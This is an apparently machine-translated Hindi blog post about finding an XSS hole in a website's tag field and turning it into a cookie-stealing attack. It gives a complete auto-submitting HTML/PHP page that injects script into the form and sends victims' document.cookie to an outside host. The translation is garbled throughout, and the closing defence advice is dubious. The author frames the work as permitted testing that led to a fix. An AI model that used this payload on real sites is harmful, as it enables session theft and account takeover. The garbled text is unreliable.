🚬 🏛️ 👩‍🚒 हैकिंग एक फार्म और घटना के माध्यम से खाते। "एक्सएसएस" ताकि कैस्केडिंग स्टाइल शीट के साथ कोई भ्रम न हो 🎆 🛵 🙊

मैंने विकि लेख से शीर्षक का दूसरा भाग लिया। अजीब लगता है।

मैं पहले ही पृष्ठ पर जवानों को पोस्ट करना चाहता था, पूर्वावलोकन बटन पर क्लिक किया, सामग्री के लोडिंग को देखा और मेरे ब्राउज़र को "सेकंड" बटन, "मेरी भविष्य की पोस्ट" के ठीक नीचे विस्तारित करते हुए आधे सेकंड के लिए लटका दिया। मैंने ऐड क्लिक किया और उन्होंने मुझे बताया कि मुझे पोस्ट के लिए कम से कम दो टैग लिखने हैं। मैंने "प्यारा बिल्लियों" टाइप किया - थोड़ा कम फिर से एक ब्लॉक दिखाई दिया जिसमें आप लोकप्रिय टैग उठा सकते हैं। मैंने तय किया कि यह बहुत अच्छा है और मुझे संग्रह के लिए इस तरह की स्क्रिप्ट की जरूरत है। बिना किसी हिचकिचाहट के, मैंने अपने मूल रूसी में कोड पर जावास्क्रिप्ट पेज से खोले, खोले और देखे।

यह बहुत उबाऊ था, और मैंने अपनी ताकत, भाषाओं और विनिर्देशों के ज्ञान का परीक्षण करने के लिए, प्रशासन की अनुमति से थोड़ी हैक करने का फैसला किया। पूरे अध्ययन में मुझे 2 दिन, दिन में 3-4 घंटे लगे।

मैंने रूपों की जांच करने और कुछ को तोड़ने की कोशिश की, एक गलती या कुछ और देखने का फैसला किया। वे काफी अच्छी तरह से संरक्षित थे: एसक्यूएल-इंजेक्शन या ऐसा कुछ भी संकेत नहीं।

मेरी js फ़ाइल की जाँच करने के बाद, मैंने देखा कि कई चर ग्राहक पक्ष में बिल्कुल भी फ़िल्टर नहीं किए गए हैं, और आप उस पृष्ठ पर किसी भी कोड को निष्पादित कर सकते हैं जिसे मैं फ़ॉर्म में सम्मिलित करता हूं। पहली चीज जो मैंने की थी वह थी क्लासिक।

<script>alert(1)</script>

एक खिड़की स्वर्ग से नीचे आई। यह कहा कि इस दुनिया में सब कुछ 1 है।

मुझे कहना होगा कि यह लाड़ प्यार है। तो हमारे पास एक सरल xss है। चलो परेशान न हों - यह हमारे लिए पर्याप्त है।

मैं फार्म में चिपका दिया

 <script>window.eval = function(code){console.log(code)}</script>

ब्राउज़र में त्रुटियों को पढ़ने के बाद, मैंने फ़ॉर्म में डाला <iframe ने किसी और की साइट की एक विंडो देखी, रेफरल फ़ील्ड की जाँच की, हमारे डोमेन को देखा, इसलिए यदि सर्वर से अनुरोधों की जाँच में वे अपने और अपने स्वयं के लिए रेफरल की जाँच करते हैं, तो हम अपनी साइट होने का दिखावा कर सकते हैं और कोई भी भेज सकते हैं अनुरोध, और हम जवाब दिया जाएगा।

केवल अधिकृत उपयोगकर्ता उस पृष्ठ पर हो सकते हैं जिसे मैंने हैक किया था, और हमें साइट द्वारा अनुरोध में प्रतिनिधित्व किया जा सकता है, बस फॉर्म में किसी भी कोड को दर्ज करके।

आगे मैं आपको एक दुर्भावनापूर्ण कोड दूंगा जो उपयोगकर्ता द्वारा हमें कुकीज़ भेजेगा, यह मेरे द्वारा अनुकूलित किया जाएगा ताकि मुझे डांटा न जाए। मैं कोड का मुख्य टुकड़ा नहीं दूंगा जो पृष्ठ पर मेरे कार्यों को छिपाता है, मैं खुद को हैक दिखाऊंगा।

1) एक एन्कोडिंग के रूप में एक ही एन्कोडिंग में एक पेज बनाएं।

 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> </head> <body> <!--   --> </body> </html>

मुझे लगता है कि लगभग कोई भी इसे संभाल सकता है।

2) हमें एक फॉर्म बनाना होगा जो पीड़ित के ब्राउज़र से हमारे अनुरोध को भेजेगा

  <iframe src="#  " method="post"></iframe> <form action="#  " method="POST"> <input type="hidden" name="#     xss." value=" "/> </form>

3) हम फॉर्म में भविष्य के प्रसारण के लिए अपना कोड एन्क्रिप्ट करते हैं।

 <?php $txt1 = "<script>var url='<img src=http://www1.hut.ru/testi.shtml?cookie='+document.cookie+'>';</script>"; $txt2 = "<script>document.write(url);</script>"; $txt11 = urlencode($txt1); $txt22 = urlencode($txt2); ?>

यह कोड को दूसरे डोमेन में सही तरीके से ट्रांसफर करने के लिए रहता है। मैंने urlencode () फ़ंक्शन का उपयोग किया। फ़ंक्शन वर्णन पृष्ठ कहता है: "यह फ़ंक्शन सुविधाजनक है जब एन्कोडेड स्ट्रिंग को URL के भाग के रूप में अनुरोध में उपयोग किया जाएगा, यह चर को अन्य पृष्ठों पर स्थानांतरित करने का एक सुविधाजनक तरीका है।"

4) हैकर जेएस कोड।

5) खैर, पेज लोड करने के बाद, हम सभी डेटा को फॉर्म में भेजते हैं।

खैर, यह सब, इसे सर्वर पर अपलोड करें।

6) यातायात विश्लेषण में, आप किसी भी ऑनलाइन स्निफर का संचालन कर सकते हैं।

पूरी तरह से कोड निकला

 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> </head> <body> <?php $txt1 = "var url='<img src=#c?cookie='+document.cookie+'>';"; $txt2 = "<script>document.write(url);</script>"; $txt11 = urlencode($txt1); $txt22 = urlencode($txt2); ?> <iframe src="#  " method="post"></iframe> <form action="#  " method="POST"> <input type="hidden" name="story_tags" value=" <script><?php echo $txt11 ;?></script> , <script><?php echo $txt22 ;?></script>"/> </form> <script> window.onload = function() {document.forms[0].submit()} </script> </body> </html>

नतीजतन, अगर कोई व्यक्ति हमारे सर्वर पर आता है, और उसकी कुकीज़ में वह साइट है जिसकी हमें आवश्यकता है, हम तुरंत उन्हें आत्मसात करेंगे। कोड चर्चा या पार्स होने का दिखावा नहीं करता; मैं प्रशिक्षण मोड में हूं। मेरा लक्ष्य कम से कम एक भेद्यता खोजने के लिए आग का बपतिस्मा था।
आप टैग में पूर्वावलोकन करके इस हमले से खुद को बचा सकते हैं

 <noscript>

ps मुझे धन्यवाद दिया गया और दिन के दौरान भेद्यता को बंद कर दिया गया।

हैकिंग एक फार्म और घटना के माध्यम से खाते। "एक्सएसएस" ताकि कैस्केडिंग स्टाइल शीट के साथ कोई भ्रम न हो

More articles: